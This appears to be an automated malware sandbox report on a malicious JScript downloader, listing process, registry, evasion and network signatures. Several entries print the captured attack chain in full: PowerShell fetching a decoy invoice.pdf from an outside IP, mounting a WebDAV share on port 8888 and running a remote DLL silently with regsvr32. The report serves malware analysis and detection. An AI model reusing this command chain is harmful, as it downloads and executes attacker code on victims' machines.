Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3492.js.csv");ITextStream.WriteLine(" entry:7703 f:drbrgxtb");ITextStream.WriteLine(" exec:2 f:drbrgxtb");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49771

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4590			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5286			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1532	Thread sleep count: 4590 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1604	Thread sleep count: 5286 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 920	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1912	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 1992	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3476	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1447956024.000001B6FE2DE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1432700844.000001B6FE2DE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1447527458.000001B6FE278000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2647654069.00000113BFA53000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2646366281.00000113BA42B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.1447956024.000001B6FE2DE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1432700844.000001B6FE2DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWd2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
